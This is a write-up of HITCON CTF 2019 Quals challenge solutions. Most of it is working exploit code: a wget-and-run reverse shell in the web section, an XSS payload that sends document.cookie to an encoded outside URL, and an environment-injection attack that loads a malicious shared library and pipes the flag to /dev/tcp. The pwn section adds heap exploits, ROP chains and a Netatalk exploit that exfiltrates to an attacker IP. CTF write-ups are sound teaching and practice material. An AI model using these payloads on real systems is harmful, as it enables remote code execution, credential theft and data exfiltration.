HITCON CTF 2019 Quals
Web
Virtual Public Network
-r$x="wget kaibro.tw/yy -O /tmp/kaibro",system$x# 2>./tmp/kaibro.thtml <
-r$x="sh /tmp/kaibro",system$x# 2>./tmp/kaibro.thtml <
then get reverse shell back.
/$READ_FLAG$
=> hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}
Bounty Pl33z
This is a XSS challenge. The source code is here. For quotes, if they appear more than once, they will be removed.
The most tricky part is if the string we inject includes a double quote. For example, "+alert(1)
window.parent.postMessage(
data,
"https://"+alert(1)".orange.ctf"
);
Undoubtedly the orange.ctf"
will throw syntax error.
At that time, I could not come out of any useful payload to comment out orange.ctf"
. Therefore I decided to fuzz/brute-force 3 characters:
for (let j = 0; j < 128; j++) {
for (let k = 0; k < 128; k++) {
for (let l = 0; l < 128; l++) {
if (j == 34 || k ==34 || l ==34)
continue;
if (j == 0x0a || k ==0x0a || l ==0x0a)
continue;
if (j == 0x0d || k ==0x0d || l ==0x0d)
continue;
if (j == 0x3c || k ==0x3c || l ==0x3c)
continue;
if (
(j == 47 && k == 47)
||(k == 47 && l == 47)
)
continue;
try {
var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === "ReferenceError")
continue
err = e.toString().split('\n')[0]
}
console.log(err,cmd);
}
}
}
The output really surprised me. The following are all valid js comment syntax:
#!a.orange.ctf"
-->a.orange.ctf"
The first shebang syntax has to be in the start of the js, which means it is not very useful in this challenge.
However, the second one is interesting. This seems to be a valid comment syntax in ECMA. Well.... it's javascript!
There is still one problem. The -->
comment syntax must be the start of the line, but \n\r
are all filtered. I start to wonder there exists an unicode newline or not, and I find this stackoverflow post.
Anyway, let's fuzz/brute-force again!
for (let j = 0; j < 65536; j++) {
try {
var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === "ReferenceError")
continue;
err = e.toString().split('\n')[0]
}
console.log(`[${err}]`,j,cmd);
}
charCode(8233)
and charCode(8233)
will be parsed as newline in javascript.
This payload can pop an alert: http://3.114.5.202/fd.php?q="%2balert(1)%e2%80%a8-->
The final payload:
http://3.114.5.202/fd.php?q=%22%2bfetch(atob(`Ly8xMzMuMjIxLjMzMy4xMjM6MTIzNC8/YT0K`)%2bbtoa(document%5B%60cookie%60%5D))%e2%80%a8--%3E
The flag is hitcon{/FD 1s 0ur g0d <(_ _)>}
.
Actually, I was also playing with parentheses and template literal (backtick), but I failed to create a successful payload. To my surprise, there is actually an unintended solution exploiting parentheses. Check out terjanq's payload, or this one.
Fun fact: The idea seems to be from a challenge in Cure53 XSS wiki, and the first author filedescriptor (fd) is working in Cure53.
GoGo PowerSQL
The sever is running GoAhead v4.0.0 + CGI + mysql. The CGI program will read MySQL host ip from a config file, and there is a BSS overflow which we can overwrite the MySQL host ip. However, the characters are limited in alphabets only. Therefore we decided to exploit the webserver itself.
We checked the CVE-2017-17562 on older GoAhead webservers. There is also a good article describing this vulnerability. Although it's fixed on 4.0.0, reading it should help me exploit this webserver. Surprising we found "the fix" was just filtering a bunch of sensitive environment variables.
However, the CGI executable uses libmysqlclient
. It's possible that we can pollute some environment variable to reach RCE via mysql library. After browsing the MySQL 5.7 doc, one of them catches my eyes.
LIBMYSQL_PLUGINS Client plugins to preload.
And it turns out that it can load .so
library as plugins. I quickly made a simple RCE hook in C:
// gcc -shared -fPIC cmd.c -o cmd.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
system(getenv("CMD"));
}
We can easily RCE through the commands. Basically it's similar to LD_PRELOAD
.
CMD="yes" LIBMYSQL_PLUGIN_DIR=`pwd` LIBMYSQL_PLUGINS="cmd.so" QUERY_STRING="name=a" ./query
(QUERY_STRING
is the GET parmeters passing to the CGI executable query
)
Also, based on the exploit of CVE-2017-17562, we could probably use /proc/self/fd/0
to upload our malicious library.
However, MySQL library will always append .so
on the name of plugins. So if the plugin is named foo
, it will load foo.so
from the directory specified. We stuck here for a few hours and we can't find a way to bypass this.
Until I read mysql source code:
int FN_REFLEN = 512;
char dlpath[FN_REFLEN + 1];
strxnmov(dlpath, sizeof(dlpath) - 1, plugindir, "/", name, ".so", NullS);
char *strxnmov(char *dst, size_t len, const char *src, ...) {
va_list pvar;
char *end_of_dst = dst + len;
va_start(pvar, src);
while (src != NullS) {
do {
if (dst == end_of_dst) goto end;
} while ((*dst++ = *src++));
dst--;
src = va_arg(pvar, char *);
}
end:
*dst = 0;
va_end(pvar);
return dst;
}
Thanks to this, if the filepath is more than 512 bytes, .so
will get truncated.
curl -X POST --data-binary @./cmd.so 'http://13.231.38.172/cgi-bin/query?LIBMYSQL_PLUGIN_DIR=//proc/self/fd&LIBMYSQL_PLUGINS=././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././0&CMD=bash%20-c%20%22cat%20/F*>/dev/tcp/133.221.333.123/12345%22'
The flag: hitcon{Env1r0nm3nt 1nj3ct10n r0cks!!!}
This seems to be the unintended RCE solution (I knew some other teams also developed this exploit.). According to the author's writeup (Orange), the intended way is polluting LOCALDOMAIN
and overwriting mysql host to read arbitrary file from the client using a rogue MySQL server.
Everything is possible if you check the source code.
Failed Attempts
- snprintf overwrite: The SQL query is built using snprintf, but we can overwrite the last single quote here. The query will become
select * from users where name like '%aaaaaa%
which leads to SQL error. However, this is useless...... - Using GoAhead 1-day or CVEs: like embedthis/goahead Issue 264 and 285, but I feel like they are not actually exploitable. (and I don't have any pwn skills)
- brute-force the temp filename to become
foobar.so
: The webserver will create a tempfile for stdio/out. However, the filename, especially the extension, is not controllable. Check the source code here. - Using existing library
*.so
on the server with environment variables to RCE: The only interesting library islibmemusage
. Loading this library shows the memory usage of the program. However they don't seem to be useful here.
Luatic
The server source code is here.
Each team in this CTF will be assigned a unique token, which can be used in this challenge to create an independent Redis server.
Overwrite varibles
The first part is to overwrite PHP varibles. Let's focus on this code:
foreach($_REQUEST as $k=>$v) {
if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) )
exit('Shame on you');
}
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}
It will extract GET and POST parameters and simply create a PHP varaible and assign to it. However, the annoying WAF will block any attempt to create any varaible starting with MY_
. @kaibro found the trick here: the for-each loop firstly parses _GET
and then _POST
. What if we name our varaible as _POST
and put it in _GET
? It will parse this one in _GET
and add our varaible into _POST
!
example.com/?_POST[guess]=123
# First, parse $_GET
$_POST = Array("guess" => 123);
# Second, parse $_POST, which has been overwritten previously
$guess = 123;
Reference (in Simplified Chinese).
Redis and Lua
Thus, we can control the $MY_SET_COMMAND
now. The next target is the redis server and Lua interpreter. We have to somehow find an approach to predict the random value.
The PHP code seems to use phpredis library. We could probably inject command in rawCommand
function call, but our objective is in the Lua interpreter.
Let's gather some information for this Lua interpreter in Redis.
- Redis uses the same Lua interpreter to run all the commands.
- sandboxing: Lua interpreter in Redis is sandboxed. The available modules are pretty limited. RCE will be difficult.
- replication: The Lua script has to be a stateless pure function. It should not depend on any internal state. Basically what redis want is the Lua script should return the same value for each call.
- not allow global varaibles: This is a similar mechanism as the previous one. You should not keep state inside the Lua engine.
Even with those limitations, we still try to overwrite math.random
function call. After some searching I got this, so I think if it's possible to create a global variable, it should not be hard to overwrite one.
Therefore, we just overwrite math.random
like this in redis.
eval "function math:random() return 87 end" 0
Here is the final payload. Because the server will check if the key exists in redis or not, we have to set that one in redis first:
http://54.250.242.183/luatic.php?token=mytoken&_POST[guess]=87&_POST[TEST_KEY]=function%20math%3Arandom()%20return%2087%20end&_POST[TEST_VALUE]=0
Then overwrite the function. The return value will be fixed.
http://54.250.242.183/luatic.php?token=052e31ea-dc02-48ea-8e76-e277c4b03c60&_POST[guess]=87&_POST[MY_SET_COMMAND]=eval&_POST[TEST_KEY]=function%20math%3Arandom()%20return%2087%20end&_POST[TEST_VALUE]=0
Flag: hitcon{Lua^H Red1s 1s m4g1c!!!}
Buggy .NET
flag is in the C:\FLAG.txt
Thus we need to bypass ..
restriction to read files.
And in one year ago, I have read @irsdl's .NET WAF Bypass slide: https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour
The example code in the slide is almost same as this challenge.
We just need to throw an exception when we use Request.Form["filename"]
first time.
But I tried a lot of charset tricks (IBM500, IBM037, ...) and it never throw any exception.
So I started to read the .NET source code, and I found that we should use some malicious payload (e.g. XSS) to trigger the Request Validation exception.
(The function calling chain looks like: Form.get
-> ValidateHttpValueCollection
-> collection.EnableGranularValidation
-> ValidateString
-> RequestValidator.Current.IsValidRequestString
-> rossSiteScriptingValidation.IsDangerousString
-> throw new HttpRequestValidationException
)
And it validated the Form data only once, so it will not throw any exception when we called it in the second time.
public NameValueCollection Form {
get {
EnsureForm();
if (_flags[needToValidateForm]) {
_flags.Clear(needToValidateForm);
ValidateHttpValueCollection(_form, RequestValidationSource.Form);
}
return _form;
}
}
Here is my exploit script:
from pwn import *
import urllib
encoding = "utf-8"
r = remote("52.197.162.211", 80)
s = 'filename'
print(s)
res1 = (urllib.quote_plus(s.encode(encoding)))
l1 = len(res1)
#s = 'web.config'
s = '../../../../FLAG.txt'
print(s)
res2 = (urllib.quote_plus(s.encode(encoding)))
l2 = len(res2)
print(res1 + "=" + res2)
print("Length: ", l1 + l2 + 1)
s = "<script>alert(123)</script>"
shit = "&x=" + urllib.quote_plus(s.encode(encoding))
payload = '''GET / HTTP/1.1
Host: 52.197.162.211
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}'''.format(l1 + l2 + 1 + len(shit), res1 + "=" + res2 + shit).replace("\n", "\r\n")
r.send(payload)
r.interactive()
hitcon{Amazing!!! @irsdl 1s ind33d the .Net KING!!!}
Pwn
PoE - I
EmojiiiVM
#!/usr/bin/env python3
#from pwn import *
import re
# hitcon{H0p3_y0u_Enj0y_pWn1ng_th1S_3m0j1_vM_^_^b}
'''
store [i] [j] [top]
load top = mem[i][j]
'''
num = [ '😀' , '😁', '😂' , '🤣' , '😜' , '😄' , '😅' , '😆' , '😉' , '😊' , '😍' ]
def push( n ):
if n <= 10:
return '⏬' + num[n]
else:
return mul( n // 10 , 10 ) + add( n % 10 , -1 )
def add( a , b , top = False ):
if b < 0:
return push( a ) + '➕'
else:
return push( b ) + push( a ) + '➕'
def sub( a , b ):
if b == -1:
return push( b ) + push( a ) + '➖'
return push( b ) + push( a ) + '➖'
def mul( a , b ):
if b == -1:
return push( a ) + '❌'
return push( b ) + push( a ) + '❌'
def store( i , j , v ):
if v == -1:
return push(j) + push(i) + '📥'
if type(v) == type('y'):
v = ord( v )
return push(v) + push(j) + push(i) + '📥'
def load( i , j ):
return push(j) + push(i) + '📤'
now = '\0' * 10
def store_str( i , s ):
p = ''
for j in range( len( s ) ):
if now[j] == s[j]:
continue
p += store( i , j , s[j] )
return p
def read( i ):
return push( i ) + '📄'
def wri( i ):
return push( i ) + '📝'
pop = '🔝'
wri_stk = '🔡'
puti = '🔢'
p = ''
p += ( push( 10 ) + '🆕' ) * 6
p += '➕'
p += pop * 9
p += add( 10 , -1 ) * 15 # 3 control 1
p += add( 2 , -1 )
p += pop * 20
p += puti
p += read( 3 )
p += read( 1 )
p += push( 10 ) + '🆕'
p += '🛑'
o = open( 'exp' , 'w+' )
o.write( p )
o.close()
Netatalk
from pwn import *
import struct
#context.log_level = "error"
#ip = 'localhost'
ip = '3.114.63.117'
port = 48763
def create_header(addr):
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += chr(len(addr)+0x10) # length
dsi_opensession += "b"*0x10+addr
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
return dsi_header
def create_afp(idx,payload):
afp_command = chr(idx) # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
return dsi_header
#addr = p64(0x7f9159232000-0x5357000)[:6] # brutefore address
addr = p64(0x7f812631d000)[:6]
#addr = ""
while len(addr)<6 :
for i in range(256):
r = remote(ip,port)
r.send(create_header(addr+chr(i)))
try:
if "a"*4 in r.recvrepeat(1):
addr += chr(i)
r.close()
break
except:
r.close()
val = u64(addr.ljust(8,'\x00'))
print hex(val)
addr += "\x00"*2
offset = 0x5246000
r = remote(ip,port)
libc = u64(addr)+offset
#libc=0x7fea3340b120-0x43120 # local libc offset
#print hex(libc)
#print hex(libc+0x3ed8e8)
#print hex(libc+0x3f04a8) # dl_open_hook
#print hex(libc+0x7EA1F)
#print hex(libc+0x166488)
#print hex(libc+0x4f440)
#raw_input()
#libc=0x7fea3340b120-0x43120
#setcontext+53
r.send(create_header(p64(libc+0x3ed8e8-0x30))) # overwrite afp_command buf with free_hook-0x30
context.arch = "amd64"
r8=0
r9=1
r12=1
r13=1
r14=1
r15=1
rdi=libc+0x3ed8e8+8 # cmd buffer
rsi=0x1111
rbp=0x1111
rbx=0x1111
rdx=0x1211
rcx=0x1211
rsp=libc+0x3ed8e8
rspp=libc+0x4f440 # system
payload2=flat(
r8,r9,
0,0,r12,r13,r14,r15,rdi,rsi,rbp,rbx,rdx,0,rcx,rsp,rspp
)
rip="X.X.X.X"
rport=11112
cmd='bash -c "cat /home/ctf/flag > /dev/tcp/%s/%d" \x00' % (rip,rport) # cat flag to controled ip and port
payload = flat("\x00"*0x2e+p64(libc+0x166488)+cmd.ljust(0x2bb8,"\x00")+p64(libc+0x3f04a8+8)+p64(libc+0x7EA1F)*4+p64(libc+0x52070+53)+payload2) #over write _free_hook and _dl_open_hook
r.send(create_afp(0,payload))
r.send(create_afp(18,flat(
""
)))
r.interactive()
🎃 Trick or Treat 🎃
from pwn import *
#r = process(["./trick_or_treat"])
r = remote("3.112.41.140", 56746)
r.sendlineafter(":",str(0x1000000))
r.recvuntil(":")
libc = int(r.recvline(),16)+0x1000ff0
print hex(libc)
offset = 0x1000ff0
r.sendlineafter(":",hex((offset+0x3ed8e8)/8))
r.sendline(" "+hex(libc+0x4f440))
r.sendafter(":","a"*0x400)
r.sendline("")
r.sendline("ed")
r.sendline("!sh")
r.interactive()
LazyHouse
from pwn import *
#r = process(["./lazyhouse"])
r = remote("3.115.121.123", 5731)
def buy(idx,size,house):
r.sendlineafter(":","1")
r.recvuntil(":")
r.sendlineafter(":",str(idx))
r.sendlineafter(":",str(size))
r.recvuntil(":")
if size < 0xffffffff:
r.sendafter(":",house)
def show(idx):
r.sendlineafter(":","2")
r.sendlineafter(":",str(idx))
def remove(idx):
r.sendlineafter(":","3")
r.sendlineafter(":",str(idx))
def Upgrade(idx,house):
r.sendlineafter(":","4")
r.sendlineafter(":",str(idx))
r.sendafter(":",house)
def Super(house):
r.sendlineafter(":","5")
r.sendafter(":",house)
buy(0,84618092081236480,"a")
remove(0)
buy(0,0x80,"a")
buy(1,0x500,"a")
buy(2,0x80,"a")
remove(1)
buy(1,0x600,"a")
Upgrade(0,"\x00"*0x88+p64(0x513))
buy(7,0x500,"a")
show(7)
data = r.recvn(0x500)
libc = u64(data[0x8:0x10])-0x1e50d0
heap = u64(data[0x10:0x18])-0x2e0
print hex(libc)
print hex(heap)
remove(0)
remove(1)
remove(2)
size = 0x1a0+0x90
target = heap+0x8b0
buy(6,0x80,"\x00"*8+p64(size+1)+p64(target-0x18)+p64(target-0x10)+p64(target-0x20))
buy(5,0x80,"a")
buy(0,0x80,"a")
buy(1,0x80,"a")
buy(2,0x600,"\x00"*0x508+p64(0x101))
Upgrade(1,"\x00"*0x80+p64(size)+p64(0x610))
remove(2)
context.arch = "amd64"
size = 0x6c0
buy(2,0x500,"\x00"*0x78+flat(size+1,[0]*17)+
flat(0x31,[0]*5,0x61,[0]*11,0x21,[0]*3,0x71,[0]*13))
remove(0)
remove(1)
remove(2)
buy(0,0x1a0,p64(0)*15+p64(0x6c1))
buy(1,0x210,"a")
buy(2,0x210,"a")
remove(2)
buy(2,0x210,"\x00"*0x148+p64(0xd1))
remove(2)
for i in range(5):
buy(2,0x210,"a")
remove(2)
buy(2,0x3a0,"a")
remove(2)
remove(1)
buy(1,0x220,"a")
remove(5)
buy(5,0x6b0,"\x00"*0xa0+p64(heap+0x40)+"\x00"*0x80+p64(0x221)+p64(libc+0x1e4eb0)+p64(heap+0x40))
remove(1)
buy(1,0x210,"a"*0x18+flat(
"/home/lazyhouse/flag".ljust(0x20,"\x00"),
libc+0x26542,heap+0xa88-0x20,libc+0x26f9e,0,libc+0x47cf8,2,libc+0x00cf6c5,
libc+0x26542,0x3,libc+0x26f9e,heap,libc+0x12bda6,0x100,libc+0x47cf8,0,libc+0x00cf6c5,
libc+0x26542,0x1,libc+0x26f9e,heap,libc+0x12bda6,0x100,libc+0x47cf8,1,libc+0x00cf6c5,
libc+0x36784
))
buy(2,0x210,p64(0)*0x20+p64(libc+0x1e4c30))
Super(p64(libc+0x0058373)+"z"*0x200)
remove(1)
buy(1,heap+0xa80,"a")
r.interactive()
One Punch Man
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763
binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc.so.6")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def name(index, name):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass
def rename(index,name):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass
def d(index):
r.recvuntil("> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(index))
pass
def show(index):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(index))
def magic(data):
r.recvuntil("> ")
r.sendline(str(0xc388))
time.sleep(0.1)
r.send(data)
if len(sys.argv) == 1:
r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
else:
r = remote(host ,port)
if __name__ == '__main__':
name(0,"A"*0x210)
d(0)
name(1,"A"*0x210)
d(1)
show(1)
r.recvuntil(" name: ")
heap = u64(r.recv(6).ljust(8,"\x00")) - 0x260
print("heap = {}".format(hex(heap)))
for i in xrange(5):
name(2,"A"*0x210)
d(2)
name(0,"A"*0x210)
name(1,"A"*0x210)
d(0)
show(0)
r.recvuntil(" name: ")
libc = u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0
print("libc = {}".format(hex(libc)))
d(1)
rename(2,p64(libc + 0x1e4c30))
name(0,"D"*0x90)
d(0)
for i in xrange(7):
name(0,"D"*0x80)
d(0)
for i in xrange(7):
name(0,"D"*0x200)
d(0)
name(0,"D"*0x200)
name(1,"A"*0x210)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
d(0)
d(1)
name(0,"A"*0x80)
name(1,"A"*0x80)
d(0)
d(1)
name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
name(2,"A"*0x200)
d(1)
d(2)
name(2,"A"*0x200)
rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
d(0)
d(2)
name(0,"/home/ctf/flag\x00\x00" + "A"*0x1f0)
magic("A")
add_rsp48 = libc + 0x000000000008cfd6
pop_rdi = libc + 0x0000000000026542
pop_rsi = libc + 0x0000000000026f9e
pop_rdx = libc + 0x000000000012bda6
pop_rax = libc + 0x0000000000047cf8
syscall = libc + 0xcf6c5
magic( p64(add_rsp48))
name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
)
r.interactive()
Crypto in the Shell
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
from pwn import *
import sys
import time
import random
host = '3.113.219.89'
port = 31337
binary = "./chall"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc.so.6")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def e(offset,size):
r.recvuntil("ffset:")
r.sendline(str(offset))
r.recvuntil(":")
r.sendline(str(size))
pass
if len(sys.argv) == 1:
r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
else:
r = remote(host ,port)
if __name__ == '__main__':
e(-32,15) # overwirte key & get key
key = r.recv(16)
aes = AES.new(key, AES.MODE_CBC, "\x00"*16)
e(-64,15) # leak libc
sec = r.recv(16)
data = aes.decrypt(sec)
libc = u64(data[:8].ljust(8,"\x00")) - 0x3ec680
print("libc = {}".format(hex(libc)))
e(-928,15) # leak code
sec = r.recv(16)
aes = AES.new(key, AES.MODE_CBC, "\x00"*16)
data = aes.decrypt(sec)
print repr(data)
code = u64(data[8:].ljust(8,"\x00")) - 8 + 0x3A0
print("code = {}".format(hex(code)))
env_ptr = libc + 0x3ee098
e(env_ptr - code, 15) # leak stack
sec = r.recv(16)
aes = AES.new(key, AES.MODE_CBC, "\x00"*16)
data = aes.decrypt(sec)
print repr(data)
#stack = u64(data[:8].ljust(8,"\x00")) # local
stack = u64(data[:8].ljust(8,"\x00")) + 8 # remote
print("stack = {}".format(hex(stack)))
wanto = stack - 0x130
e(wanto-code,1) # overwrite loop i (bypass 32 round)
magic = p64(libc + 0x4f2c5)
for i in xrange(8): # modify retrun address to one_gadget
print i
wanto = stack - 0xf8 + i
e(wanto-code,1)
sec = r.recv(16)
j=0
while 1:
aes = AES.new(key, AES.MODE_CBC, "\x00"*16)
sec = aes.encrypt(sec)
j+=1
if sec[0] == magic[i]:
for k in xrange(j):
r.sendline(str(wanto-code))
r.sendline(str(1))
for k in xrange(j):
r.recvuntil("ffset:")
break
for i in xrange(8): # modify envrion ptr to null
print i
wanto = env_ptr + i
e(wanto-code,1)
sec = r.recv(16)
j=0
while 1:
aes = AES.new(key, AES.MODE_CBC, "\x00"*16)
sec = aes.encrypt(sec)
j+=1
if sec[0] == '\x00':
for k in xrange(j):
r.sendline(str(wanto-code))
r.sendline(str(1))
for k in xrange(j):
r.recvuntil("ffset:")
break
r.sendline("l") # exit main
r.sendline("ls") # get shell
r.interactive()
Misc
Revenge of Welcome
The challenge is to escape vim easy mode
<C-l>:q!
<C-o>:q!
flag : hitcon{accidentally enter vim -y and can't leave Q_Q}
EV3 Player
Use wireshark to open the pklg file.
And install this plugin in wireshark. https://github.com/ev3dev/lms-hacker-tools/tree/master/EV3
You would see these rsf file in the pklg.
../prjs/SD_Card/project/fl.rsf
../prjs/SD_Card/project/ag.rsf
Extract these two rsf from the pklg(I complete this step manually)
Install the LEGO Mindstorms to open the rsf sound file.
https://education.lego.com/en-us/downloads/mindstorms-ev3/software
And you can hear the flag:
hitcon{playsoundwithlegomindstormsrobot}
heXDump
IO.popen("xxd -r -ps - #{@file}", 'r+') do |f|
f.puts data
f.close_write
end
xxd didn't clear the original data, we can leak the flag one byte by one byte.
#!/usr/bin/env python3
from pwn import *
import string
context.log_level = 'CRITICAL'
def cmd(x, data = None):
global r
while True:
try:
r.sendlineafter('0) quit\n', str(x))
if x == 1 and data:
r.sendlineafter('Data? (In hex format)\n', data.hex())
elif x == 2:
return r.recvline().strip()
elif x == 3 and data:
r.sendlineafter('- AES\n', data)
return
except EOFError:
r = remote('13.113.205.160', 21700)
mode('aes')
copyflag()
def read():
return cmd(2)
def write(data):
cmd(1, data)
def mode(data):
cmd(3, data)
def copyflag():
cmd(1337)
r = remote('13.113.205.160', 21700)
mode('aes')
copyflag()
flag = b''
for block in range(2):
checks = [read()]
for i in range(1, 16):
write(b'\x00' * 16 * block + b'\x00' * i)
checks += [read()]
leak = b''
for i in range(15, -1, -1):
#for j in range(256):
for j in string.printable:
write(b'\x00' * 16 * block + b'\x00' * i + bytes([ord(j)]) + leak[::-1])
if read() == checks[i]:
leak += bytes([ord(j)])
print(leak)
break
flag += leak[::-1]
print(flag)
flag : hitcon{xxd?XDD!e45dc4df7d0b79}
EmojiVM
I created a simple assembler with this reversed opcode table:
1 🈳: nop
2 ➕: +
3 ➖: -
4 ❌: *
5 ❓: %
6 ❎: ^
7 👫: &
8 💀: <
9 💯: ==
10 🚀: jmp
11 🈶: jmp if true
12 🈚: jmp if false
13 ⏬: push back
14 🔝: pop top
15 📤: load?
16 📥: store?
17 🆕: malloc (at most 10) [size, malloc(size)]
18 🆓: free
19 📄: read
20 📝: write
21 🔡: write until nullbyte
22 🔢: cout
23 🛑: exit
1 ~ 10
😀😁😂🤣😜😄😅😆😉😊😍
import re
import sys
opmap = {
'nop': '\U0001f233',
'add': '\U00002795',
'sub': '\U00002796',
'mul': '\U0000274c',
'mod': '\U00002753',
'pow': '\U0000274e',
'and': '\U0001f46b',
'lt': '\U0001f480',
'eq': '\U0001f4af',
'jmp': '\U0001f680',
'jt': '\U0001f236',
'jf': '\U0001f21a',
'push': '\U000023ec',
'pop': '\U0001f51d',
'load': '\U0001f4e4',
'store': '\U0001f4e5',
'alloc': '\U0001f195',
'free': '\U0001f193',
'read': '\U0001f4c4',
'write': '\U0001f4dd',
'puts': '\U0001f521',
'puti': '\U0001f522',
'exit': '\U0001f6d1',
}
valmap = [
'\U0001f600',
'\U0001f601',
'\U0001f602',
'\U0001f923',
'\U0001f61c',
'\U0001f604',
'\U0001f605',
'\U0001f606',
'\U0001f609',
'\U0001f60a',
'\U0001f60d',
]
def push(n):
pc = 0
if n < 0:
raise NotImplementedError('QAQ')
if n < 10:
return opmap['push'] + valmap[int(n)], 2
ns = list(str(n).strip('L'))
ret = opmap['push'] + valmap[int(ns.pop(0))]
pc += 2
for i in ns:
ret += opmap['push'] + valmap[10]
pc += 2
ret += opmap['mul']
pc += 1
ret += opmap['push'] + valmap[int(i)]
pc += 2
ret += opmap['add']
pc += 1
return ret, pc
out = []
with open(sys.argv[1]) as f:
data = f.read()
data = re.sub(r';[^\n]*', '', data)
data = re.sub(r'[ \t]+', ' ', data)
labels = {}
pc = 0
for line in data.splitlines():
line = line.strip()
if line == '':
continue
print('debug: ', line)
if line.endswith(':'):
labels[line[:-1]] = pc
continue
op, *args = line.split(' ')
if op not in opmap:
print('Invalid op %s' % op, file=sys.stderr)
exit(1)
for arg in args[::-1]:
arg = arg.strip()
try:
arg = int(arg, 0)
except ValueError:
out.append('label_' + arg)
pc += 20
else:
code, pc_off = push(arg)
out.append(code)
pc += pc_off
continue
if op != 'push':
out.append(opmap[op])
pc += 1
print(out)
for i, e in enumerate(out):
if not e.startswith('label_'):
continue
e = e[6:]
if e not in labels:
raise KeyError('Undefined label: %s' % e)
e = push(labels[e])[0].ljust(20, opmap['nop'])
assert len(e) == 20
out[i] = e
with open(sys.argv[2], 'w') as f:
f.write(''.join(out))
And it becomes a simple programming challange:
start:
alloc 10
alloc 10
alloc 10
; Initialize const
store 2 0 0x31
store 2 1 0x20
; Initialize lhs
load 2 0
store 0 0
load 2 1
store 0 1
store 0 2 0x2A
load 2 1
store 0 3
load 2 0
store 0 4
load 2 1
store 0 5
store 0 6 0x3D
load 2 1
store 0 7
; Initialize reg
store 1 0 0x1
store 1 1 0x1
loop_out:
load 2 0
store 0 4
store 1 1 1
loop_in:
write 0
load 1 0
load 1 1
mul
puti
puts 10 0
; cond_in
load 1 1
eq 9
jt break_in
load 0 4
add 1
store 0 4
load 1 1
add 1
store 1 1
jmp loop_in
break_in:
; cond_out
load 1 0
eq 9
jt break_out
load 0 0
add 1
store 0 0
load 1 0
add 1
store 1 0
jmp loop_out
break_out:
exit
Rev
EV3 Arm
Use the step in EV3 Payer
to extract the rbf file.
Upload the rbf to this website. http://ev3treevis.azurewebsites.net/
Use some regular expression replace to these format.
B 35 -15
A 720 -75
B 35 15
A 360 75
B 35 -15
C 2 70
A 360 -75
B 35 15
A 720 75
C 1.5 70
B 35 -15
A 180 -75
B 35 15
A 180 -75
B 35 -15
A 360 -75
B 35 15
A 720 75
C 1.5 70
A 360 -75
B 35 -15
C 1.5 70
B 35 15
C 1 -70
A 90 75
B 35 -15
A 450 -75
B 35 15
A 720 75
C 4 70
A 360 -75
B 35 -15
C 2 -70
A 360 -75
C 2 70
B 35 15
A 720 75
C 3.5 70
A 360 -75
B 35 -15
C 2 -70
A 360 -75
C 2 70
A 420 75
B 35 15
A 300 75
C 1.5 70
A 320 -75
B 35 -15
A 400 -75
A 420 75
C' 2 60
A 120 15
A 480 -75
B 35 15
A 660 75
C 2 70
